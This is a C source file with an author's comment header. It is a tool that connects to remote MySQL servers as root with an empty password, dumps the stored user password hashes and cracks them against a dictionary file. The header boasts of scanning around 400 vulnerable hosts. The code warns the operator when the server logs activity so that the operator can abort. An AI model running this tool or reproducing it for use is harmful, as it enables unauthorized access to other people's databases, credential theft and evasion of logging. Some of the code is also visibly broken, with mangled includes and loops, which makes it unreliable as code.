//mysqlfuck.c /*--||MySQLfuck||--*/ /*Written by g0thm0g*/ /*-----------------*/ /*Earlier this summer (at least where I live), I had a conversation with a friend. It was one of those afternoons where you get an idea, and it kinda sticks with you. Anyway, our conversation involved a couple questions about INSERT's into a MySQL database. Eventually, I told him that I would do it for him. I came over, sat down on his computer, and accidentally typed his full IP address in. TO my surprise, the host still connected. Even worse, root login wasn't passworded. I figured that he had mysql bound to 127.0.0.1, and that no real remote host could connect. However, later that night after I had gone home, I got a phone call from the friend asking me to do it again. Already on the computer (go figure d:), I pulled up bash and typed in his IP. Right as I was about to ask him what his password was, I noticed that MySQL hadn't even bothered to authenticate me. I "used mysql" and then SELECT'ed user,password,host FROM user. To my horror, I recieved: +------+----------+-----------+ | user | password | host | +------+----------+-----------+ | root | | localhost | | root | | % | | | | localhost | | | | % | +------+----------+-----------+ Not only was name-less login allowed, but root was without password on localhost and remote. Anyway, to make a long story short, I did some research, and found that default Windows MySQL configuration lacks logging or authentication. I did some network scanning, and I think I have around 400 hosts with no root password. Anyway, to automate checking this, I wrote this program up. It tries to login as root/NULL, then takes the values of the user password hashes and tries to find a match to a dictionary file called dictionary.txt. I wrote up an advisory, which you'll probably see on SecFoc soon. If I had some cookies, I'd give them to: -Tiefer and his relentless questioning and jokes about my sister -Club 21, especially for Hard Attack -DJ Doboy, can't forget trancequility volume 19 (INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE" CLAUSE HERE) (INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE) Compile: -MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2 -GCC= gcc -omysqlfuck mysqlfuck.c -lmySQL -O2 -Cheers g0th */ #include #ifdef WIN32 #include #endif #include /*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*? /*Crazy MySQL programmers and their short typedefs*/ /*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/ #ifndef ulong #define ulong unsigned long #endif #ifndef uint #define uint unsigned int #endif #ifndef uchar #define uchar unsigned char #endif /*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*? /*##--####--####--####--####--####--####--####--##*/ /*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/ /*--------------------------------------------------------------*/ /*<<<>>>*/ /*I have this all nice and optimized in assembly on my end, but*/ /*writing cross-compiler inline is not too fun, and requring an*/ /*assembler is kinda frustrating.*/ /*--------------------------------------------------------------*/ void hash_password(ulong *result, const char *password) { register ulong nr=1345345333L, add=7, nr2=0x12345671L; ulong tmp; for (; *password ; password++) { if (*password == ' ' || *password == '\t') continue; /* skipp space in password */ tmp= (ulong) (uchar) *password; nr^= (((nr & 63)+add)*tmp)+ (nr << 8); nr2+=(nr2 << 8) ^ nr; add+=tmp; } result[0]=nr & 2147483647; /* Don't use sign bit (str2int) */; result[1]=nr2 & 2147483647; return; } void make_scrambled_password(char *to,const char *password) { ulong hash_res[2]; hash_password(hash_res,password); sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]); } /*--------------------------------------------------------------*/ /*<<<<######################################################>>>>*/ /*--------------------------------------------------------------*/ /*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/ /*--------------------------------*/ /*<<>>>*/ /*--------------------------------*/ typedef struct { char *user; char *password; } user; #define MAX_USERS 16 /*--------------------------------*/ /*<<<<########################>>>>*/ /*--------------------------------*/ //main - for "coherency's" (yes, i mean laziness) sake, i've kept this a single function int main ( int argc, char** argv ) { MYSQL * mysqlData; //--|- MYSQL_RES * mysqlResult; //--|-MySQL Datatypes MYSQL_ROW mysqlRow; //--|- char *spHost; //--| char *spUser="root"; //--| char *spPassword=NULL; //--|-Our connection data int spPort=3306; //--| char *spServerVersion; //--| int usernum=0; //--| user *users[MAX_USERS]; //--|-User name/hash storage data FILE *fin, *fout; //--| char *file_name; //--|-File I/O data char *line=(char *)malloc(64); //--| char *buff=(char *)malloc(64); //--|-Miscellaneous buffers int i=0; //--|Counter //Warn about not meeting minimal arguments if (2>argc) { fprintf (stderr, "usage: mysqlfuck host [-p]"); return -1; } //Copy the first argument into the host buffer spHost=(char *)malloc(sizeof(argv[1])); strcpy (spHost, argv[1]); //Copy port if the user specified if (argv[2]) { if (argv[2][1]=='p') { ++argv[2]; ++argv[2]; spPort=atoi(argv[2]); printf ("port: %i\n", spPort); } } //Initialize MySQL data and connect with root/NULL mysqlData = (MYSQL *)malloc(sizeof(MYSQL)); mysql_init (mysqlData); if (! mysql_real_connect (mysqlData, spHost, spUser, spPassword, "mysql", spPort, NULL, 0) ) { fprintf (stderr, "mysql_real_connect: %s\n", mysql_error (mysqlData)); return -1; } //If the server logs, inform the user! printf ("server version: %s\n", mysql_get_server_info(mysqlData)); if (strstr (mysql_get_server_info (mysqlData), "log")) { printf ("Warning! Server is logging - Continue(*/n)?"); if (getchar()=='n') { mysql_close (mysqlData); return -1; } } //"Obtain" the hashes (notice i didn't use the word steal) if ( mysql_query (mysqlData, "SELECT user,password FROM user") ) { fprintf (stderr, "mysql_query: %s\n", mysql_error (mysqlData)); return -1; } //Store the result and process it mysqlResult=mysql_store_result(mysqlData); while (mysqlRow=mysql_fetch_row(mysqlResult)) { if (strlen(mysqlRow[0])==0) { mysqlRow[0]="(NULL)"; } if (strlen(mysqlRow[1])==0) { mysqlRow[1]="(NULL)"; } users[usernum]=(user *)malloc(sizeof(user)); users[usernum]->user=(char *)malloc(strlen(mysqlRow[0])+1); strcpy (users[usernum]->user, mysqlRow[0]); users[usernum]->password=(char *)malloc(strlen(mysqlRow[1])+1); strcpy (users[usernum]->password, mysqlRow[1]); usernum++; } mysql_close (mysqlData); //Setup putput file name string file_name=(char *)malloc (sizeof(spHost)+4); strcpy (file_name, spHost); strcat (file_name, ".txt\0\0"); printf ("\n+----------------------------+\n"); printf ("\n", file_name); printf ("+----------------------------+\n"); fout=fopen (spHost, "w"); if (!fout) { fprintf (stderr, "Unable to open %s for password dumping\n", spHost); return -1; } //Use a database to crack the hashes (optional) fin=fopen ("dictionary.txt", "r"); if (!fin) { fprintf (stderr, "error opening dictionary.txt - no decryption will take place\n"); for (i=0;iuser, users[i]->password); } return -1; } //Loop through the user array and crack/output hashes for (i=0;iuser) { if (users[i]->password) { while ( (fgets (line, 63, fin))) { line[strlen(line)-1]='\0'; make_scrambled_password (buff, line); if (strcmp (buff, users[i]->password)==0) { users[i]->password=line; break; } } fclose (fin); fprintf (fout, "%s::%s\n", users[i]->user, users[i]->password); printf ("%s::%s\n", users[i]->user, users[i]->password); fflush (fout); } } } //Always clean up after yourself! fclose (fout); if (buff) free (buff); if (line) free (line); if (spHost) free (spHost); if (users) free (users); if (file_name) free (file_name); if (mysqlData) free (mysqlData); }